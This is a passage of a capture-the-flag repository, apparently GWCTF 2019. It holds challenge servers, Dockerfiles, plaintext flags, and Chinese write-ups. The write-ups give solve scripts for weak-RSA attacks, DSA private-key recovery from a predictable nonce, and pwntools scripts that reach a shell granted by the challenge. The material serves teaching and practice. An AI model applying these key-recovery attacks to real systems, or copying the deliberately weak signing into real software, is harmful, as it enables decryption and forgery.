265062189690110258168937914660953141176262450217439754228412476921446090800865485245586374925301693092500339299234590972683684007932856122076633527469285284664876765956238156745882235870289890666905903061370680974052073327856401906558796495792640707398188184589372197560239909882241253361848467451770502253350255829962879608858461099793337589915413779774088831454734857389908802396033544417778902965804114905575051102617369791505746948583147955602054499061020529118234065874742791346925068898605296740979453445839143999750142181455751998618406840614227878335038410646539032726011271740251\n') 89 | self.dosend('Please input the password:\n') 90 | self.dosend('[>] ') 91 | ans5 = self.request.recv(1024).strip() 92 | if ans5 != password: 93 | return False 94 | return True 95 | 96 | def dosend(self, msg): 97 | try: 98 | self.request.sendall(msg) 99 | except: 100 | pass 101 | 102 | def handle(self): 103 | signal.alarm(500) 104 | if not self.proof_of_work(): 105 | return 106 | signal.alarm(450) 107 | while True: 108 | self.dosend('Welcome to this easyCrypto System. If you pass all the tests, you will get the flag.\n') 109 | self.dosend('[*] Level 1\n') 110 | if not self.level1(): 111 | self.dosend('[-] Something wrong\n') 112 | return False 113 | self.dosend('[*] Level 2\n') 114 | if not self.level2(): 115 | self.dosend('[-] Something wrong\n') 116 | return False 117 | self.dosend('[*] Level 3\n') 118 | if not self.level3(): 119 | self.dosend('[-] Something wrong\n') 120 | return False 121 | self.dosend('[*] Level 4\n') 122 | if not self.level4(): 123 | self.dosend('[-] Something wrong\n') 124 | return False 125 | self.dosend('[*] Level 5\n') 126 | if not self.level5(): 127 | self.dosend('[-] Something wrong\n') 128 | return False 129 | self.request.send("Congratulations!The flag is %s\n" % flag) 130 | self.request.close() 131 | 132 | class ForkedServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer): 133 | pass 134 | 135 | 136 | if __name__ == '__main__': 137 | HOST, PORT = '0.0.0.0', 80 138 | server = ForkedServer((HOST, PORT), Task) 139 | server.allow_reuse_address = True 140 | server.serve_forever() 141 | -------------------------------------------------------------------------------- /wp/crypto/babyRSA2/README.md: -------------------------------------------------------------------------------- 1 | ### babyRSA2 2 | 3 | 这道题可以算是给各位师傅复习一下rsa一些攻击方法了 4 | 5 | #### level 1 6 | 7 | 共模攻击,这个大家应该很熟悉了 8 | 9 | ```python 10 | def egcd(a, b): 11 | if a == 0: 12 | return (b, 0, 1) 13 | else: 14 | g, y, x = egcd(b % a, a) 15 | return (g, x - (b // a) * y, y) 16 | 17 | def modinv(a, m): 18 | g, x, y = egcd(a, m) 19 | if g != 1: 20 | raise Exception('modular inverse does not exist') 21 | else: 22 | return x % m 23 | 24 | # 共模攻击 25 | e1 = 2333 26 | e2 = 23333 27 | n = 8788243810113198481764566947869508914607026957466489668727548073613496825679400591687813426342686034806081353790472216192635172094987395128834590030497381 28 | c1 = 4799918654649006116940502215835347906203162902787669199307383957409192303134738166614010930829808272183136103896570661157044610508330743272839870684458619 29 | c2 = 3517433402358387844096791333634390193378704559086526036995918508702312833687284786927630246590107124972191795462221141049323183791880150003945625070468406 30 | s = egcd(e1, e2) 31 | s1 = s[1] 32 | s2 = s[2] 33 | # 求模反元素 34 | if s1<0: 35 | s1 = - s1 36 | c1 = modinv(c1, n) 37 | elif s2<0: 38 | s2 = - s2 39 | c2 = modinv(c2, n) 40 | m = (pow(c1,s1,n)*pow(c2,s2,n)) % n 41 | print m 42 | ``` 43 | 44 | #### level 2 45 | 46 | 低指数攻击 47 | $$ 48 | c = m^e\ mod\ n \\ 49 | m^e = kn\ +\ c \\ 50 | m = \sqrt[e]{kn\ +\ c} 51 | $$ 52 | 53 | ```python 54 | n = 0x95021fbb4df8692ddbf928981593dfebb5a655b3a3690a9d3a491947f570ebdcd60066123e97c835744071e7ed5365b0632a12a828d11a01d6100948fb6d129d5f01d83a39c5ea84d240235f3b01c3ea8ba81826a49fdce32935d00705831c6ff0734ceec19d6d91f8578db0c715a53dd9642f9219b5cd42d4e71e257ad9df95e9a89a6e87a3e863bc62ee2d9511600a79ca7e0328cc5bf6986d09eaa6d65a7ecfadc028f92181d399271474af96241d365d19c3c9ad8e5b5a46a92af2493ee1e363a274afc76625c187b088cee4af7b7ec20a7433497e12f636e357ed77dbaeb89c8b89a4467befff2a68b2e9e226c3c07897f7769030a1ac1311730124c789f16abef45ad581fdd019468864d809e49586dde58141a39218a6b33850c6cfdfae5719bfc96f0b6f3aad62279979936915070865b0b52f2c78041898cd7d64af159281041aae8620eacc1de384fb92c43726c0afae49a98e5c64ef2287c3fe8d41593eb3673bcb84e1a48428cd02a0a5a3dfaffc4cb91858fbcb50e7027d09050578e12e62e78823da46de6e05b099adfb5061cf39bf7bf5d87f29e48274731c3d662314bba51d87a409eb849f123aea50db4ea05dfaba4137c5ccce2d458d8c2ae26916ea803d98e5227cd3c642e1414800c9216e8e86ba7d194e2cd6eaeff163bd7c12a2eb28219170d87a9961a348cf10b6432b4be1168957cccae6f91e6fL 55 | e = 3 56 | c = 0xde10e648e44b37de11f430ed08adf886a3622b23d18f01614710b47eeb4d227c4955c686b85e2a807f842b6d4e72629f44b037bb0f500a3cf3ec9514423ffc7de2e7f0994a817dabaecd583e29cbb198efc13edb8043ff48c54ba9bc4d29f910b8c2030dad4f316b33645150b251f657a45da96728c5fa935114226d776773e95aa334a956b729ae6f0e9a30dfc4caea3a1f3b4a269e64c9a058f15e0dcd8c60f99d04e519c6d31a26a1e57a951092b2826e42aee044f7d8822757f19167ed9L 57 | for i in xrange(200000000): 58 | if gmpy2.iroot(c+n*i,3)[1] == 1: 59 | res = gmpy2.iroot(c+n*i,3)[0] 60 | print res 61 | break 62 | ``` 63 | 64 | #### level 3 65 | 66 | 已知高位 p ,factor with high bits known 67 | 68 | 想进一步了解就查看https://www.jianshu.com/p/1a0e876d5929 69 | 70 | ```python 71 | from sage.all import * 72 | n = 0xeb4f8c45336c229371fd73a252b24dd3bf8b3cdc1bb1864f140fd63c88d47c44ba228bebe223fe53c7eaf88678b780821a6660b2726506216554990a5dda178ee04a47c7f1974fc8f8268d081bbb2be7e7353ccf36fecfce5f5f82722d064928f2d60844373c52b4d1db9dc41f7f16807c5b4356c4d2290811e25c51ef1227aa6e893d37dd8743e391fa638d77d0c55e4fb331576602128333d4be95f06523521e7511b39fc20111c88f2635b67e3531684d58ea6574179b5e63a862d073241f5ff91c97a45aa3d8e3287d8161a97728d2e19d72669f39f9e6ad10677bb563bdef30d0dcfa719c2f1836bd02b73d21dbecc11717b54c45d415d3f423ce6dfd8d 73 | p4 = 0xfb2151c701f7667b53822fe625b95edee00c3a947b234eca47903ef62fb128d813a9c1acb328f3f7181d24ce31814cd1a69ac4b61b269e2b0eb7fbaabe9633d33a36d0715b4cd3860000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 74 | cipher = 0x578620facc67a53183f1e68a010559969dcd5e20b91ac73c8277fd1c24965dea469884df2964204b37290cbe5359632db7afe4fc1ab3116e3ed91788cb99724baf0e98542ed273bc21b3c2e14ed197bf21764cf42e7975da493a28e88e4695ef49d88b68c38c69c4cbf152c4c44da19c2b38faf78f02973701a1f804e9f0cf2a0604932c5db83d18f9ba868171d04a0389d9a1a36482f935328adb3501f50008e167ad4066089780e2392b9f0ec61567a0323f2652a2d815e793e293a6c8357df692ffdcbf4384fb63448de2d13625a3089d8e7831e9d3942f7b160b47f9dd6f29911f9d34c8d6888ca11d226bc3df9f2a8d8ba75a6cece3b59a99b962cf7adeL 75 | e2 = 65537 76 | kbits = 448 #未知需要爆破的比特位数 77 | PR. = PolynomialRing(Zmod(n)) 78 | f = x + p4 79 | roots = f.small_roots(X=2^kbits, beta=0.4) #进行爆破 80 | if roots: #爆破成功,求根 81 | p = p4+int(roots[0]) 82 | assert n % p == 0 83 | q = n/int(p) 84 | phin = (p-1)*(q-1) 85 | d = inverse_mod(e2,phin) 86 | flag = pow(cipher,d,n) 87 | print flag 88 | ``` 89 | 90 | #### level4 91 | 92 | 通过模不互素分解得到p、q1、q2,计算`phi1 = (p-1)*(q1-1)`和`phi2 = (p-1)*(q2-1)`,并且`gcd(e1,phi1) = gcd(e2,phi2) = 14`,最后可以转换成`c = m^14 mod q1q2` 93 | 94 | ```python 95 | n1 = 0xb08bab371e516b9ac3a9c68bc2af143893aac7534ace6c172c6da6e8c7b8b0631819b2647b92d33c064bef0f6af50736a3897b7230771c315f4c4a7315c23691e5b859764f5968e9e623ac768d14bf4cdb9b56fb5b5d53236bf13a7b50bb247a9fe30e5d16c6c7ff34f875677a9438e2f1d0e4dee48c0141e697fef3881d91249ecf9c415d3846bbd8bf9ddec2229f7a13e3b0c085ec1073bc4b7d2654115967798244068e78bf2d150e702766ba7508d19346671a468943ca74509cb4fd7f8099b6a69f90f4ecf7326efc5584ebae592d3bc4ed54f5edd9c33f7a1880fa24f96a8317e52986fed69950f4243422e1ede448ba72894201ea47e23ec8157cf507L 96 | n2 = 0xae8a5a3e9946f573c2b89167d2c4f7f630889c05a38b64f6f8ffe3e5230c946a065c19eab4f0b8caa75fdb3fdaa1e4f0e5f89baff4398c1a1fd32b292ac1c1d87a718c8ae3f58c2e6f97eb459dbaf1ffdc00d8b6e915c84c11dec00120308dc6e2b6778b953df6d9f454053c25db701987b89ece4de709a1b345a7528c4245ae3965b8ef29abcb278dc941fea5cbb369c74434c7b1e873ee2f6dc18bc5a69692358bf9443edb6b2eaeb674407ef763c62d57468e99408ef2fbb73699908e532de91689e07b77d12be0a425686b21aff40287749e391b4f46abecccba99d59d4ed861f57f1c520e888252be390245029808f07bfbd6e5200adff705b8255c93adL 97 | c1 = 0x68efd78bd67438de2474bb1b9112e305266245359807dda408e9937bc97ee06d0098a8823cc49c562392361d15852f5dce226cc0651da86654228ed9c6a2cb4952b8b447f4deaff8b622030f41f3e506431362c7900c32f0e6e53b4eb43b6ab6358e1fdfd03bead43d61d35d292ef9f575dd7507ad24838ff27be4bf9f8221bf5eeccb460168c3f2d703edc8733a40d0d890cdb9584bb454886c74cdd69dee19855b80789ffe74088326f963e24c31c8e293f630cb6bac282ac49ad142c4d4fd90b272abe924ffa72c1b974cd90e0a41c80b40df6f492b63edb792cc48ff30e5aad7e5a1d8c021a1705c27692bf07f836530627f0a178b93b626ac6ebad06a71L 98 | c2 = 0x3a9e0e7765e488f6f6651fa9758b99329beb2fb8117e990683e833a4c0a8203621fe69790ebcd4e99b7c7135753c6a6e785a206c6f668c541600f075a67d1df77c536e0659a6aee5291726da62b6b19d35bb3429eb5af41ee9b60c0f7ae28cb983428c7041fec0b5649dde69355c12795ed2a539458991164b35b37fa2495d8df80710cb75b64ae9ecfddf80fb188df864acac136c0cb9db0953e5328280ccbcd3dc8c32755045ffe0e59f38d3a5d2507d4123789681534d4a69020ad984839db68d437f0a5fc4542b5856e8845afa890e18217b34e4095511abe10787268aac55ceed1453fc5dc5c97593a4374b6603c439638c604c53282a6fb3f327a72518L 99 | e1 = 0x4628a2 100 | e2 = 0x1436ea 101 | 102 | p = gmpy2.gcd(n1,n2) 103 | 104 | q1 = n1 // p 105 | q2 = n2 // p 106 | phi1 = (p-1)*(q1-1) 107 | phi2 = (p-1)*(q2-1) 108 | 109 | e1 = e1 // 14 110 | e2 = e2 // 14 111 | d1 = gmpy2.invert(e1,phi1) 112 | d2 = gmpy2.invert(e2,phi2) 113 | 114 | f1 = pow(c1,d1,n1) 115 | f2 = pow(c2,d2,n2) 116 | 117 | def GCRT(mi, ai): 118 | # mi,ai分别表示模数和取模后的值,都为列表结构 119 | assert (isinstance(mi, list) and isinstance(ai, list)) 120 | curm, cura = mi[0], ai[0] 121 | for (m, a) in zip(mi[1:], ai[1:]): 122 | d = gmpy2.gcd(curm, m) 123 | c = a - cura 124 | assert (c % d == 0) #不成立则不存在解 125 | K = c // d * gmpy2.invert(curm // d, m // d) 126 | cura += curm * K 127 | curm = curm * m // d 128 | cura %= curm 129 | return (cura % curm, curm) #(解,最小公倍数) 130 | 131 | f3,lcm = GCRT([n1,n2],[f1,f2]) 132 | assert(f3 % n1 == f1) 133 | assert(f3 % n2 == f2) 134 | assert(lcm == q1*q2*p) 135 | 136 | n3 = q1*q2 137 | c3 = f3 % n3 138 | phi3 = (q1-1)*(q2-1) 139 | 140 | assert(gmpy2.gcd(7,phi3) == 1) 141 | 142 | d3 = gmpy2.invert(7,phi3) 143 | m3 = pow(c3,d3,n3) 144 | 145 | if gmpy2.iroot(m3,2)[1] == 1: 146 | flag = gmpy2.iroot(m3,2)[0] 147 | print flag 148 | ``` 149 | 150 | #### level5 151 | 152 | 本意是想考related message attack,但是师傅们好像都是用开方做出来的,给大佬们递茶 153 | 154 | ```python 155 | def short_pad_attack(c1, c2, e, n): 156 | PRxy. = PolynomialRing(Zmod(n)) 157 | PRx. = PolynomialRing(Zmod(n)) 158 | PRZZ. = PolynomialRing(Zmod(n)) 159 | 160 | g1 = x ^ e - c1 161 | g2 = (x + y) ^ e - c2 162 | q1 = g1.change_ring(PRZZ) 163 | q2 = g2.change_ring(PRZZ) 164 | h = q2.resultant(q1) 165 | h = h.univariate_polynomial() 166 | h = h.change_ring(PRx).subs(y=xn) 167 | h = h.monic() 168 | kbits = n.nbits() // (2 * e * e) 169 | diff = h.small_roots(X=2 ^ kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5 170 | return diff 171 | 172 | def related_message_attack(c1, c2, diff, e, n): 173 | PRx. = PolynomialRing(Zmod(n)) 174 | g1 = x ^ e - c1 175 | g2 = (x + diff) ^ e - c2 176 | 177 | def gcd(g1, g2): 178 | while g2: 179 | g1, g2 = g2, g1 % g2 180 | return g1.monic() 181 | 182 | return -gcd(g1, g2)[0] 183 | 184 | if __name__ == '__main__': 185 | n = 19442176928007830098424428955804863422490104569894359496453939957229742423661160054241621640185600142526048820896573841917260538353760477502624635228772623542594808126714949387688256798485777301116254045665123490080599759063595943183174257000621175533455527351901382362223186460177724406923578989734811261651935021211994078268472388527276207734500306479937257181713076303044191424255541575089667633199235148135321345062563193566412742338012981130056909856454878804112411630977554868340858807585375893503827768149367059669895608437969230531174624250114738703422569825794356115744480899464005839030338854022395818875403 186 | e = 5 187 | 188 | nbits = n.nbits() 189 | kbits = nbits // (2 * e * e) 190 | print "upper %d bits (of %d bits) is same" % (nbits - kbits, nbits) 191 | 192 | # ^^ = bit-wise XOR 193 | # http://doc.sagemath.org/html/en/faq/faq-usage.html#how-do-i-use-the-bitwise-xor-operator-in-sage 194 | 195 | c1 = 265062189690110258168937914660953141176262450217439754228412476921446090800865485245586374925301693092500339299234605734070010071396874397183777663814494638701287154485422437592402905249840040151974080315867776147021284075889623873125652375381248465118406871808612192648463354603146409805633298150440609502952012219466107223073722611710202703260376132210869385568895215174665401985520571514194067663539459950606936108462665901877112231914464806764529803480944795681849082656461363871269771058326378629532466874107079842249414630772189064960956110663544293311957887794906286805610383928125 196 | c2 = 265062189690110258168937914660953141176262450217439754228412476921446090800865485245586374925301693092500339299234590972683684007932856122076633527469285284664876765956238156745882235870289890666905903061370680974052073327856401906558796495792640707398188184589372197560239909882241253361848467451770502253350255829962879608858461099793337589915413779774088831454734857389908802396033544417778902965804114905575051102617369791505746948583147955602054499061020529118234065874742791346925068898605296740979453445839143999750142181455751998618406840614227878335038410646539032726011271740251 197 | 198 | diff = short_pad_attack(c1, c2, e, n) 199 | print "difference of two messages is %d" % diff 200 | m1 = related_message_attack(c1, c2, diff, e, n) 201 | m2 = m1 + diff 202 | print "m1 is %d" % m1 203 | print "m2 is %d" % m2 204 | 205 | #My password is: Orz_I_Wi1l_Alway3_Lov5_R3A_Sy3tem 206 | ``` 207 | 208 | -------------------------------------------------------------------------------- /wp/crypto/warmup/Dockerfile/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update && apt-get -y install python-dev && apt-get -y install python-pip && apt-get -y install vim && && apt-get -y install libgmp-dev && apt-get -y install libmpfr-dev && apt-get -y install libmpc-dev 4 | 5 | RUN pip install gmpy2 6 | 7 | ADD run.sh /root/run.sh 8 | 9 | RUN chmod +x /root/run.sh 10 | 11 | RUN useradd -m -s /sbin/nologin dsa 12 | 13 | ADD secret.py /home/dsa/secret.py 14 | 15 | ADD task.py /home/dsa/task.py 16 | 17 | EXPOSE 80 18 | CMD ["/root/run.sh"] -------------------------------------------------------------------------------- /wp/crypto/warmup/Dockerfile/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | nohup python /home/dsa/task.py & 4 | 5 | /bin/bash 6 | -------------------------------------------------------------------------------- /wp/crypto/warmup/Dockerfile/secret.py: -------------------------------------------------------------------------------- 1 | flag = "flag{cf9dfdd2e868bef3ec7cfb8faba3a6e6}" 2 | x = 6607725413179724508177363550570298402931936301412225532321779846090 -------------------------------------------------------------------------------- /wp/crypto/warmup/Dockerfile/task.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf8 -*- 2 | import SocketServer 3 | import os 4 | import random 5 | import signal 6 | from hashlib import sha512 7 | from string import hexdigits 8 | from hashlib import md5 9 | from secret import flag, x 10 | 11 | p = 31198248455472731019496739215340201911997057848114316587736933789227647718169482560810230958070804578189477351219382835524617763638444679674283860732694106535921123709020157143505759378845493643543645485243621585916026567257758724686390209844774364090557106863570579284085225367749748548340935277073521514074799620283516155381243321074955880189777530837366464771336121525352256584638514044946007673213774688190611880253588873492853744482951036316464773140620933329882218152102453349630470887781081977786889788859346884287040811643781888419852158190238918746840727700831299776696567343878267453273493961712386563291619 12 | q = 20948050262666044906815614916146712099544774622841631794787589234359 13 | g = 9947348980181878795045460021432558061459250728913897956997945102590350886740171571394791330584892632995503165439387886413900153587642528239561098327038430382486510419238271146265963157969008284265413784141362375985358337770707337939487121706384789363706759097209047466500616322805911811795907273855531866406327411008809923706430048352935822122291410673205412066593837036378348795368045763181748208191525066037090863027437381039691077876004532006957843442561322685709769494933660667617310844425949999387793016131076676066319826896398049265758607043258466448433981209961716741242954311079090246525605491939426268727276 14 | 15 | def egcd(a, b): 16 | if a == 0: 17 | return (b, 0, 1) 18 | else: 19 | g, y, x = egcd(b % a, a) 20 | return (g, x - (b // a) * y, y) 21 | 22 | def modinv(a, m): 23 | g, x, y = egcd(a, m) 24 | if g != 1: 25 | raise Exception('modular inverse does not exist') 26 | else: 27 | return x % m 28 | 29 | def s2h(s): 30 | return ''.join([hex(ord(c)).replace('0x', '') for c in s]) 31 | 32 | def h2i(s): 33 | return int(str(s),16) 34 | 35 | def nonce(msg, num): 36 | n = 0 37 | msg = h2i(msg) 38 | j = len(str(num)) 39 | for i in str(msg): 40 | i = int(i) ** int(i) * j 41 | d = int(str(int(i) * 987654321)[-6:]) 42 | n += num % d 43 | n = (num - n**2) % d 44 | return n 45 | 46 | def sign(data): 47 | data = s2h(data) 48 | k = nonce(data,q) 49 | kinv = modinv(k,q) 50 | r = pow(g, k, p) % q 51 | h = sha512(data).hexdigest() 52 | h = int(h, 16) 53 | s = kinv * (h + r * x) % q 54 | return (r,int(s)) 55 | 56 | def admin_auth(): 57 | username = "admin" 58 | return sign(username) 59 | 60 | class Task(SocketServer.BaseRequestHandler): 61 | def proof_of_work(self): 62 | random.seed(os.urandom(8)) 63 | part_hash = "".join([random.choice(hexdigits) for _ in range(5)]).lower() 64 | salt = "".join([random.choice(hexdigits) for _ in range(4)]).lower() 65 | self.request.send("[*] Please find a string that md5(str + " + salt + ")[0:5] == %s\n" % (part_hash)) 66 | self.request.send('[>] Give me xxxxx: ') 67 | string = self.request.recv(10) 68 | string = string.strip() 69 | if (md5(string + salt).hexdigest()[:5] != part_hash): 70 | self.request.send('[-] Wrong hash, exit...\n') 71 | return False 72 | return True 73 | 74 | def dosend(self, msg): 75 | try: 76 | self.request.sendall(msg) 77 | except: 78 | pass 79 | 80 | def handle(self): 81 | signal.alarm(500) 82 | if not self.proof_of_work(): 83 | return 84 | signal.alarm(450) 85 | 86 | self.dosend('[*] Welcome to this sososoEasy system.Only admin can see the flag.\n') 87 | self.dosend(' [1] Login.\n') 88 | self.dosend(' [2] Administrator verification.\n') 89 | self.dosend(' [3] Quit.\n') 90 | while True: 91 | self.dosend('[>] Please input your option: ') 92 | op = self.request.recv(5).strip().upper() 93 | if op == '1': 94 | self.dosend('Input your username:\n') 95 | self.dosend('[>] ') 96 | username = self.request.recv(1024).strip() 97 | if username == "admin": 98 | self.dosend("You're not admin.\n") 99 | else: 100 | signature = sign(username) 101 | signature = '(' + repr(signature[0]) + "," + repr(signature[1]) + ")" 102 | self.dosend('Welcome %s!\n' % username) 103 | self.dosend('This is your signature: %s\n' % signature) 104 | continue 105 | elif op == '2': 106 | self.dosend("Please input the administrator's signature:\n") 107 | self.dosend('[>] ') 108 | res = self.request.recv(1024).strip() 109 | res = res.replace(" ", "") 110 | res = res[1:-1].replace("L", "").split(",", 1) 111 | admin_sign = admin_auth() 112 | getflag = 0 113 | for x, y in zip(res, admin_sign): 114 | if long(x) != y: 115 | getflag = 0 116 | else: 117 | getflag += 1 118 | if getflag == 2: 119 | self.dosend("Welcome admin!\n") 120 | self.dosend("The flag is %s\n" % flag) 121 | return False 122 | else: 123 | self.dosend("OMG!~You lied to me.\n") 124 | continue 125 | else: 126 | self.dosend("GoodBye~\n") 127 | return False 128 | self.request.close() 129 | 130 | class ForkedServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer): 131 | pass 132 | 133 | 134 | if __name__ == '__main__': 135 | HOST, PORT = '0.0.0.0', 80 136 | server = ForkedServer((HOST, PORT), Task) 137 | server.allow_reuse_address = True 138 | server.serve_forever() -------------------------------------------------------------------------------- /wp/crypto/warmup/README.md: -------------------------------------------------------------------------------- 1 | ### warmup 2 | 3 | 这是一道简单的DSA签名,而且还是一道已知k的DSA,如果不知道DSA是什么,可以看 4 | 5 | https://ctf-wiki.github.io/ctf-wiki/crypto/signature/elgamal-zh/ 6 | 7 | 这道题的意思就是只要算出私钥x,然后将admin签名发过去就可以拿flag了,主要的两条公式 8 | 9 | ``` 10 | s = (H(m)+x*r)*k^-1 mod q 11 | x = (k*s-H(m))*r^-1 mod q 12 | ``` 13 | 14 | 随便签个名可以拿到s、r,并且k、q、h都已知,利用上述公式即可算出x 15 | 16 | exp如下 17 | 18 | ```python 19 | from hashlib import sha512 20 | import gmpy2 21 | 22 | def s2h(s): 23 | return ''.join([hex(ord(c)).replace('0x', '') for c in s]) 24 | 25 | def h2i(s): 26 | return int(str(s),16) 27 | 28 | def nonce(msg, num): 29 | n = 0 30 | msg = h2i(msg) 31 | j = len(str(num)) 32 | for i in str(msg): 33 | i = int(i) ** int(i) * j 34 | d = int(str(int(i) * 987654321)[-6:]) 35 | n += num % d 36 | n = (num - n**2) % d 37 | return n 38 | 39 | def sign(data,x): 40 | data = s2h(data) 41 | k = nonce(data,q) 42 | kinv = gmpy2.invert(k,q) 43 | r = pow(g, k, p) % q 44 | h = sha512(data).hexdigest() 45 | h = int(h, 16) 46 | s = kinv * (h + r * x) % q 47 | return (r, int(s)) 48 | 49 | p = 31198248455472731019496739215340201911997057848114316587736933789227647718169482560810230958070804578189477351219382835524617763638444679674283860732694106535921123709020157143505759378845493643543645485243621585916026567257758724686390209844774364090557106863570579284085225367749748548340935277073521514074799620283516155381243321074955880189777530837366464771336121525352256584638514044946007673213774688190611880253588873492853744482951036316464773140620933329882218152102453349630470887781081977786889788859346884287040811643781888419852158190238918746840727700831299776696567343878267453273493961712386563291619 50 | q = 20948050262666044906815614916146712099544774622841631794787589234359 51 | g = 9947348980181878795045460021432558061459250728913897956997945102590350886740171571394791330584892632995503165439387886413900153587642528239561098327038430382486510419238271146265963157969008284265413784141362375985358337770707337939487121706384789363706759097209047466500616322805911811795907273855531866406327411008809923706430048352935822122291410673205412066593837036378348795368045763181748208191525066037090863027437381039691077876004532006957843442561322685709769494933660667617310844425949999387793016131076676066319826896398049265758607043258466448433981209961716741242954311079090246525605491939426268727276 52 | 53 | r1 = 5840600993730393950800113896950810854560358719489092698068339138683 54 | s1 = 8295967653134939854038257567528606519704316831647901915305086714748 55 | 56 | data = "glarcy" 57 | k = nonce(s2h(data),q) 58 | h = sha512(s2h(data)).hexdigest() 59 | h = int(h, 16) 60 | 61 | r_1 = gmpy2.invert(r1,q) 62 | priv = r_1*(k*s1-h) % q 63 | 64 | print sign("admin",priv) 65 | ``` 66 | 67 | -------------------------------------------------------------------------------- /wp/misc/Math/README.md: -------------------------------------------------------------------------------- 1 | ### 一、Math 2 | 3 | 这题就是pwn手出的misc题,考察一个简单的交互问题,接收到数据运算,回填即可,达到次数后就会getshell,这里小脑洞,自己ls下就会发现有flag了: 4 | 5 | ```python 6 | #coding=utf8 7 | from pwn import * 8 | context.log_level = 'debug' 9 | context(arch='amd64', os='linux') 10 | local = 1 11 | elf = ELF('./Math') 12 | if local: 13 | p = process('./Math') 14 | libc = elf.libc 15 | else: 16 | p = remote('111.198.29.45',36758) 17 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 18 | sl = lambda s : p.sendline(s) 19 | sd = lambda s : p.send(s) 20 | rc = lambda n : p.recv(n) 21 | ru = lambda s : p.recvuntil(s) 22 | ti = lambda : p.interactive() 23 | v = 0 24 | while v<150: 25 | ru("problem:") 26 | a = ru("*")[:-1].strip() 27 | b = ru("-")[:-1].strip() 28 | c = ru("+")[:-1].strip() 29 | d = ru("=")[:-1].strip() 30 | t = int(a)*int(b)-int(c)+int(d) 31 | ru("answer:") 32 | sl(str(t)) 33 | v += 1 34 | sl("cat flag") 35 | p.interactive() 36 | ``` 37 | 38 | -------------------------------------------------------------------------------- /wp/misc/Math/bin/Math: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/misc/Math/bin/Math -------------------------------------------------------------------------------- /wp/misc/Math/exp/Math.py: -------------------------------------------------------------------------------- 1 | #coding=utf8 2 | from pwn import * 3 | context.log_level = 'debug' 4 | context(arch='amd64', os='linux') 5 | local = 1 6 | elf = ELF('./Math') 7 | if local: 8 | p = process('./Math') 9 | libc = elf.libc 10 | else: 11 | p = remote('111.198.29.45',36758) 12 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 13 | sl = lambda s : p.sendline(s) 14 | sd = lambda s : p.send(s) 15 | rc = lambda n : p.recv(n) 16 | ru = lambda s : p.recvuntil(s) 17 | ti = lambda : p.interactive() 18 | v = 0 19 | while v<150: 20 | ru("problem:") 21 | a = ru("*")[:-1].strip() 22 | b = ru("-")[:-1].strip() 23 | c = ru("+")[:-1].strip() 24 | d = ru("=")[:-1].strip() 25 | t = int(a)*int(b)-int(c)+int(d) 26 | ru("answer:") 27 | sl(str(t)) 28 | v += 1 29 | sl("cat flag") 30 | p.interactive() -------------------------------------------------------------------------------- /wp/misc/Math/source/Math.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | int main() 4 | { 5 | setvbuf(stdin, 0LL, 2, 0LL); 6 | setvbuf(stdout, 0LL, 2, 0LL); 7 | setvbuf(stderr, 0LL, 2, 0LL); 8 | char buf[0x100]; 9 | int v0; 10 | int v1; 11 | int v2; 12 | int v3; 13 | int v4; 14 | int v8; 15 | int v10; 16 | int i=0; 17 | v0 = time(0); 18 | srand(v0); 19 | do 20 | { 21 | alarm(5); 22 | v1 = (rand() % 200); 23 | v2 = (rand() % 200); 24 | v8 = (rand() % 200); 25 | v10 = (rand() % 200); 26 | puts("Pass 150 levels and i will give you the flag~"); 27 | puts("===================================================="); 28 | printf("Now level %d\n", i); 29 | printf("Math problem: %d * %d - %d + %d = ??? ", v1, v2, v8, v10); 30 | puts("Give me your answer:"); 31 | read(0, &buf, 0x80); 32 | v4 = v1 * v2 - v8 + v10; 33 | v3 = strtol(&buf, 0LL, 10); 34 | if(v3==v4) 35 | { 36 | puts("Right! Continue~"); 37 | i = i + 1; 38 | sleep(0.1); 39 | } 40 | else 41 | { 42 | puts("Try again?"); 43 | exit(0); 44 | } 45 | } 46 | while(i<150); 47 | if(i==150) 48 | { 49 | puts("Congratulation!"); 50 | system("/bin/sh\x00"); 51 | } 52 | else 53 | { 54 | puts("Wrong!"); 55 | exit(0); 56 | } 57 | } -------------------------------------------------------------------------------- /wp/misc/fun/README.md: -------------------------------------------------------------------------------- 1 | ## fun 2 | 剪刀石头布,撒谎是有规律的,找到规律之后写脚本跑32遍就出flag了 3 | exp: 4 | 5 | ```python 6 | from pwn import * 7 | context.log_level = 'debug' 8 | # p = process('./misc') 9 | p = remote("183.129.189.60","10035") 10 | sd = lambda s:p.send(s) 11 | sl = lambda s:p.sendline(s) 12 | rc = lambda s:p.recv(s) 13 | ru = lambda s:p.recvuntil(s) 14 | sda = lambda a,s:p.sendafter(a,s) 15 | sla = lambda a,s:p.sendlineafter(a,s) 16 | 17 | i = 0 18 | win = "psr" 19 | for _ in range(32): 20 | ru("take ") 21 | s = rc(1) 22 | if s == 'p': 23 | pay = win[(1+i)%3] 24 | elif s == 's': 25 | pay = win[(2+i)%3] 26 | elif s == 'r': 27 | pay = win[(0+i)%3] 28 | i = (i+1)%3 29 | sla("choice\n",pay) 30 | p.interactive() 31 | ``` -------------------------------------------------------------------------------- /wp/misc/fun/bin/fun: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/misc/fun/bin/fun -------------------------------------------------------------------------------- /wp/misc/fun/source/misc.c: -------------------------------------------------------------------------------- 1 | // gcc -o fun misc.c 2 | #include 3 | #include 4 | #include 5 | void init() 6 | { 7 | setvbuf(stdin, 0LL, 2, 0LL); 8 | setvbuf(stdout, 0LL, 2, 0LL); 9 | setvbuf(stderr, 0LL, 2, 0LL); 10 | } 11 | int main(int argc, char const *argv[]) 12 | { 13 | init(); 14 | alarm(32); 15 | puts("Welcome go GWHT!"); 16 | printf("Let's play rock-paper-scissors, if you can win me 32 times,you'll get the flag\n"); 17 | char 